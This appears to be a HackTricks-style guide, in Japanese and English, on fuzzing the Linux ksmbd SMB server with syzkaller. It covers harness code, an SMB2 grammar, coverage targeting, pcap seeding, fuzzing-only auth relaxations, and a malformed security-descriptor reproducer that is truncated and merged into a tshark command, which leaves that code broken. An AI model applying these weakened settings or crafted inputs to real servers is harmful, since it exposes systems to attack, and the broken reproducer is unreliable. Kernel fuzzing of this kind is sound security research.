Per-share-level +- Oplocks (on by default) +- VFS objects + +これらを有効にすると、次のようなモジュールでの実行が増えます: +- smb2pdu.c (command parsing/dispatch) +- ndr.c (NDR encode/decode) +- oplock.c (oplock request/break) +- smbacl.c (ACL parsing/enforcement) +- vfs.c (VFS ops) +- vfs_cache.c (lookup cache) + +注意 +- 正確なオプションはディストリビューションの ksmbd userspace (ksmbd-tools) に依存します。/etc/ksmbd/ksmbd.conf と per-share セクションを確認し、durable handles、leases、oplocks、VFS objects を有効にしてください。 +- Multi-channel と durable handles は状態機械やライフタイムを変化させ、並列処理下で UAF/refcount/OOB バグを表面化させることがよくあります。 + +--- + +## ファジングのための認証とレート制限の調整 +SMB3 は有効なセッションを必要とします。ハーネスに Kerberos を実装すると複雑さが増すため、ファジングでは NTLM/guest を優先してください: + +- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST. +- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths. +- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early. +- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing. + +注意: これらの緩和はファジングを容易にするためのものであり、本番環境でこれらの設定を運用しないでください。 + +--- + +## Stateful Harness: Extract Resources and Chain Requests +SMB はステートフルです: 多くのリクエストは前のレスポンスで返される識別子に依存します(SessionId、TreeID、FileID ペアなど)。ハーネスはレスポンスをパースし、同一プログラム内で ID を再利用して深いハンドラに到達する必要があります(例: smb2_create → smb2_ioctl → smb2_close)。 + +Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: +```c +// process response. does not contain +4B PDU length +void process_buffer(int msg_no, const char *buffer, size_t received) { +uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); +switch (cmd_rsp) { +case SMB2_TREE_CONNECT: +if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) +tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); +break; +case SMB2_SESS_SETUP: +// first session setup response carries session_id +if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) +session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); +break; +case SMB2_CREATE: +if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { +persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); +volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); +} +break; +default: +break; +} +} +``` +ヒント +- 認証/状態を共有する fuzzer プロセスを1つ維持する: ksmbd’s global/session tables による安定性とカバレッジが向上する。syzkaller は ops を async にマークして内部で再実行することで並行性を注入する。 +- Syzkaller’s experimental reset_acc_state は global state をリセットできるが、著しいパフォーマンス低下を招く可能性がある。安定性を優先して fuzzing に集中することを推奨する。 + +--- + +## 文法駆動による SMB2 生成 (有効な PDUs) +Microsoft Open Specifications の SMB2 構造体を fuzzer grammar に翻訳し、ジェネレータが構造的に有効な PDUs を生成して、体系的に dispatchers と IOCTL handlers に到達するようにする。 + +例 (SMB2 IOCTL request): +``` +smb2_ioctl_req { +Header_Prefix SMB2Header_Prefix +Command const[0xb, int16] +Header_Suffix SMB2Header_Suffix +StructureSize const[57, int16] +Reserved const[0, int16] +CtlCode union_control_codes +PersistentFileId const[0x4, int64] +VolatileFileId const[0x0, int64] +InputOffset offsetof[Input, int32] +InputCount bytesize[Input, int32] +MaxInputResponse const[65536, int32] +OutputOffset offsetof[Output, int32] +OutputCount len[Output, int32] +MaxOutputResponse const[65536, int32] +Flags int32[0:1] +Reserved2 const[0, int32] +Input array[int8] +Output array[int8] +} [packed] +``` +このスタイルは構造体のサイズ/オフセットを正しく制御させ、blind mutation と比べてカバレッジを大幅に改善します。 + +--- + +## Directed Fuzzing With focus_areas +syzkaller の実験的な focus_areas を使って、現在カバレッジが弱い特定の関数/ファイルに優先的に重み付けします。JSON の例: +```json +{ +"focus_areas": [ +{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, +{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, +{"weight": 1.0} +] +} +``` +これは smbacl.c の算術/オーバーフローの経路に到達する有効な ACL を構築するのに役立ちます。例えば、過大な dacloffset を持つ悪意のある Security Descriptor は整数オーバーフローを再現します。 + +再現コード(最小限の Python): +```python +def build_sd(): +import struct +sd = bytearray(0x14) +sd[0x00] = 0x00; sd[0x01] = 0x00 +struct.pack_into(' packets.json +``` + +```python +import json, os +os.makedirs("corpus", exist_ok=True) + +with open("packets.json") as f: +data = json.load(f) +# adjust indexing to your tshark JSON structure +packets = [e["_source"]["layers"]["tcp.payload"] for e in data] + +for i, pkt in enumerate(packets): +pdu = pkt[0] +pdu_size = len(pdu) // 2 # hex string length → bytes +with open(f"corpus/packet_{i:03d}.txt", "w") as f: +f.write( +f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" +) +``` +これにより探索を素早く開始でき、UAFs(例: ksmbd_sessions_deregister)を即座に引き起こすことがあり、カバレッジが数パーセント上昇します。 + +--- + +## Sanitizers: KASANを超えて +- KASANはヒープバグ(UAF/OOB)の主要な検出器であり続ける。 +- KCSANはこのターゲットではしばしば誤検知や低重大度のデータ競合を報告することがある。 +- UBSAN/KUBSANは、配列インデックスのセマンティクスのためにKASANが見逃す宣言境界のミスを検出できる。例: +```c +id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); +struct smb_sid { +__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; +__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ +} __attribute__((packed)); +``` +Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks. + +--- + +## スループットと並列性の注意 +- 単一の fuzzer プロセス(shared auth/state)は ksmbd に対して一般的にかなり安定しやすく、syzkaller の内部 async executor により races/UAFs を依然として表面化させます。 +- 複数の VMs を使うと、全体で毎秒数百の SMB コマンドに到達できます。関数レベルのカバレッジは fs/smb/server の約60% と smb2pdu.c の約70% 程度が達成可能ですが、state-transition カバレッジはこれらの指標では過小評価されがちです。 + +--- + +## 実践チェックリスト +- ksmbd で durable handles、leases、multi-channel、oplocks、VFS objects を有効にする。 +- guest と map-to-guest を許可し、NTLMv2 を受け入れる。credit limits をパッチで除去し、fuzzer の安定性のために max connections を引き上げる。 +- SessionId/TreeID/FileIDs をキャッシュし、create → ioctl → close を連鎖する stateful harness を構築する。 +- 構造的妥当性を維持するために SMB2 PDUs 用の grammar を使用する。 +- focus_areas を使ってカバレッジの低い関数(例: smbacl.c のパス、smb_check_perm_dacl など)に重み付けする。 +- 実際の pcaps から ANYBLOB でシードして停滞を打破する。シードは再利用のために syz-db でパッキングする。 +- KASAN + UBSAN で実行し、UBSAN の declared-bounds レポートは慎重にトリアージする。 + +--- + +## 参考 +- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html +- syzkaller: https://github.com/google/syzkaller +- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 +- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db +- KASAN: https://docs.kernel.org/dev-tools/kasan.html +- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html +- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html +- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ +- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures +- 補足読み物: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes + +{{#include ../../banners/hacktricks-training.md}}